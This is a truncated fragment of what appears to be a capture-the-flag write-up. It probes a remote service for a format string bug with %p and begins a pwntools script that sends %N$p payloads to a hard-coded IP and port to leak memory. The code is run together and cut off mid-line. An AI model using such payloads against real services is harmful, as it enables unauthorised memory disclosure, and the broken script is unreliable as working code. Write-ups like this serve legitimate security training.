After connect, try check Format String vulnerability:
> eat sleep pwn repeat!> > pwn > > > %p> > repeat > > > 0x7ffff7dd59e0
Ok, its work! Lets read memory use next script:```python#!/usr/bin/pythonfrom pwn import *import binasciiimport struct
host = '139.59.13.232'port = 3200
txt = ''for x in [6, 7, 8]:    r = remote(host, port)    r.readuntil('pwn > \r\n')    payload = 'p'    r.sendline('%{x}${pl}\n'.format(x=x, pl=payload))    r.readuntil('repeat > \r\n')    data = r.readline().strip()    if '0x' in data:        txt += struct.pack('